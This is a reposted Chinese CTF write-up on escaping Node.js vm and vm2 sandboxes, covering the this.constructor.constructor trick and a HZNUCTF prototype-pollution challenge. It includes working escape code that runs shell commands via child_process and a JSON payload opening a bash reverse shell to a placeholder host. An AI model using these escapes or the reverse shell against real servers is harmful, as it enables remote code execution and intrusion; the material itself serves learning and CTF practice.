Nodejs vm/vm2沙箱逃逸

news/2024/5/19 23:20:37 标签: nodejs, node.js, 开发语言, ctf, 网络安全

文章目录

    • 什么是沙箱以及VM?
    • vm模块
      • nodejs作用域
      • vm沙箱
      • vm沙箱逃逸
    • vm2
    • 例题分析:(待补充)
      • [HFCTF2020]JustEscape
      • [HZNUCTF 2023 final]eznode
    • 參考文章:

什么是沙箱以及VM?

什么是沙箱:

沙箱就是能够像一个集装箱一样,把你的应用“装”起来的技术。这样,应用与应用之间,就因为有了边界而不至于相互干扰而被装进集装箱的应用,也可以被方便地搬来搬去。

什么是VM:

VM就是虚拟环境,虚拟机,VM的特点就是不受环境的影响,也可以说他就是一个 沙箱环境 (沙箱模式给模块提供一个环境运行而不影响其它模块和它们私有的沙箱)类似于docker,docker是属于 Sandbox(沙箱) 的一种。

简而言之,vm提供了一个干净的独立环境,提供测试。

在Nodejs中,我们可以通过引入vm模块来创建一个“沙箱”,但其实这个vm模块的隔离功能并不完善,还有很多缺陷,因此Node后续升级了vm,也就是现在的vm2沙箱,vm2引用了vm模块的功能,并在其基础上做了一些优化。

vm模块

参考:https://xz.aliyun.com/t/11859#toc-1

nodejs_19">nodejs作用域

用例子来解释很清晰

#1.js
var height1 = 175
exports.height = height1

Node给我们提供了一个将js文件中元素输出的接口exports

#2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)

输出

20
175
image-20230412195829829

height的作用域是1.js,通过exports创建被require引入2.js

age的作用域是2.js

还有一个global作用域,就是全局变量。Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx的方式来访问,直接用xxx就可以调用这个变量。举个例子,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process(一会逃逸要用到)。

我们可以自定义一个name的全局变量,

# 1.js
var height1 = 175
global.name = "ThnPkm"

exports.height = height1

全局变量则不需要exports创建

# 2.js
const age = 20
const user = require("./1")

console.log(age)
console.log(user.height)
console.log(name)

输出时也不需要user.name来引用,name直接是global变量

vm沙箱

前面提到了作用域这个概念,所以我们现在思考一下,如果想要实现沙箱的隔离作用,我们是不是可以创建一个新的作用域,让代码在这个新的作用域里面去运行,这样就和其他的作用域进行了隔离,这也就是vm模块运行的原理。

(在Node中一般把作用域叫上下文)

先来了解几个常用的vm模块的API:

  • vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。

也就是说无法访问本地作用域,但可以访问当前的全局对象global

image-20230412205126896
# xxx.js
const vm = require('vm');
const local_var = "local";
const vm_var = vm.runInThisContext('local_var = "vm";');

console.log(vm_var); //vm
console.log(local_var); //local

无权访问本地作用域,所以 local_var 不变

  • vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
  • vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。
image-20230412205216692
const vm = require('vm');
global.global_var = 1;
const sandbox = { global_var: 2 };
vm.createContext(sandbox);  // 创建一个上下文隔离对象
vm.runInContext('global_var *=2;', sandbox);

console.log(sandbox); //{ global_var: 4 }
console.log(global_var); //1

这里,上下文中的globalVar在输出中为(2*2 = 4),但是globalVar的值仍为1,沙箱内部无法访问global中的属性。

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
    code:要被解析的JavaScript代码
const vm = require('vm');
const sandbox = { animal: 'cat', count: 1 };
const script = new vm.Script('count +=1; name = "Tom";');  //编译code
const context = vm.createContext(sandbox);  // 创建一个上下文隔离对象
script.runInContext(context);   // 在指定的下文里执行code并返回其结果

console.log(sandbox); //{ animal: 'cat', count: 2, name: 'Tom' }

script对象可以通过runInContext运行

vm中最关键的就是 上下文context ,vm能逃逸出来的原理也就是因为 context 并没有拦截针对外部的 constructor__proto__等属性 的访问

vm沙箱逃逸

我们一般进行沙箱逃逸最后都是进行rce,那么在Node里要进行rce就需要procces了,在获取到process对象后我们就可以用require来导入child_process,再利用child_process执行命令。但process挂载在global上,但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

看个逃逸例子:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
image-20230412224634342

是如何实现的?

这里面的this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的

访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。

拿到process对象就可以执行命令了:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(a.mainModule.require('child_process').execSync('whoami').toString());

console.log会执行node代码,从而调用构造器函数返回process对象导致rce.

vm2

vm模块的隔离作用可以说非常的差了。所以开发者在此基础上加以完善,推出了vm2模块

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor__proto__ 这些属性的访问

在vm2 中运行一段代码,如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

console.log((new VM()).run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本。

其原理如下

const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));
image-20230412232316989

当我们创建一个VM的对象的时候,vm2内部引入了 contextify.js,并且针对上下文 context 进行了封装,最后调用 script.runInContext(context) ,可以看到,vm2最核心的操作就在于针对context的封装。

具体分析参考:https://www.anquanke.com/post/id/207283

vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp,附上链接:Issues · patriksimek/vm2 · GitHub

例题分析:(待补充)

[HFCTF2020]JustEscape

这题是利用vm逃逸直接打,需要绕过关键字过滤,

参考此文 这位师傅分析的很好

[HZNUCTF 2023 final]eznode

nss平台有

/app.js拿到源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

引用了vm2,有JSON.parse解析,并且存在merge方法,clone调用了merge,存在原型链污染漏洞

backdoor方法new VM().run({}.shellcode); 可以利用原型链污染到shellcode,进而rce

vm2 原型链污染导致沙箱逃逸 poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

本题payload,注意分号;

想进backdoor首先满足if (copybody.shit)

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}} 

注意请求头为Content-Type: application/json

image-20230413110703728

參考文章:

https://xz.aliyun.com/t/11859#toc-5

https://www.anquanke.com/post/id/207283

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

https://www.cnblogs.com/zpchcbd/p/16899212.html


http://www.niftyadmin.cn/n/219686.html

相关文章

iPhone如何不用iTunes将视频传输到电脑上?

随着智能手机的普及,iPhone已经成为了人们生活中必不可少的一部分。而随着iPhone摄像功能的逐渐完善,越来越多的用户开始将iPhone作为拍摄视频的工具。 但是,将iPhone中的视频传输到电脑并进行后续编辑处理或者备份储存,对于许多…

Vue2_02_指令

模板语法 — Vue.js (vuejs.org) 指令 (Directives) 是带有 v- 前缀的特殊 attribute 参数 一些指令能够接收一个“参数”&#xff0c;在指令名称之后以冒号表示 <a v-bind:href"url">...</a> 动态参数 可以用方括号括起来的 JavaScript 表达式作为一…

JavaWeb—移动端WEB开发之响应式布局

目录 1. 响应式开发 1.1 响应式开发原理 1.2 响应式布局容器 2. Bootstrap前端开发框架 2.1 Bootstrap 简介 2.2 Bootstrap 使用 2.3 布局容器 3. Bootstrap 栅格系统 3.1 栅格系统简介 3.2 栅格选项参数 3.3 列嵌套 3.4 列偏移 3.6 响应式工具 1. 响应式开发 1.…

Revit中标记族背景问题?构件显示隐藏?

一、Revit中标记族背景把模型盖住问题&#xff1f; 有些标记族的背景是白色的&#xff0c;这样会把模型给盖住&#xff0c;怎么才能去掉这个白色背景呢?双击进入注释族的编辑状态&#xff0c;选中族&#xff0c;打开“编辑类型”&#xff0c;把“背景”的显示改成“透明”即可…

如何用ChatGPT做设计?激发设计师们的灵感

伴随着人工智能技术的迅猛发展&#xff0c;AI 工具在设计领域中的应用也越来越广泛。 当前&#xff0c;诸如ChatGPT等 AI 工具不仅可以进行自然语言处理&#xff0c;还可以应用于图像、视频等多种媒体领域&#xff0c;为设计师们提供了丰富的应用场景。 使用Chatgpt&#xff1…

C++篇 ---- 命名空间namespace

由于在c语言中在定义时可能会出现重命名现象&#xff0c;造成空间冲突&#xff0c;c语言中有命名冲突&#xff1a;1 和库冲突。2 互相之间的冲突&#xff0c;变量命名冲突。所以c中就有了对其改进的关键字namespace&#xff0c;针对重定义&#xff0c;解决空间冲突。 文章目录命…

redis数据结构底层原理及相关运用

Redis的数据结构 Redis的数据结构&#xff0c;可以在两个不同的层面来讨论它。 第一个层面&#xff0c;是从使用者的角度。比如&#xff1a;string、list、hash、set、zset(sorted set)五种数据类型 这一层面也是Redis暴露给外部的调用接口&#xff0c;也就是我们平时使用re…

【C++STL精讲】string类的基本使用与常用接口

文章目录&#x1f490;专栏导读&#x1f490;文章导读&#x1f337;为什么要学习string类&#xff1f;&#x1f337;string类的基本使用&#x1f337;string类的常用接口&#x1f33a;数据访问函数&#x1f33a;容量相关函数&#x1f33a;操作函数&#x1f337;迭代器与范围for…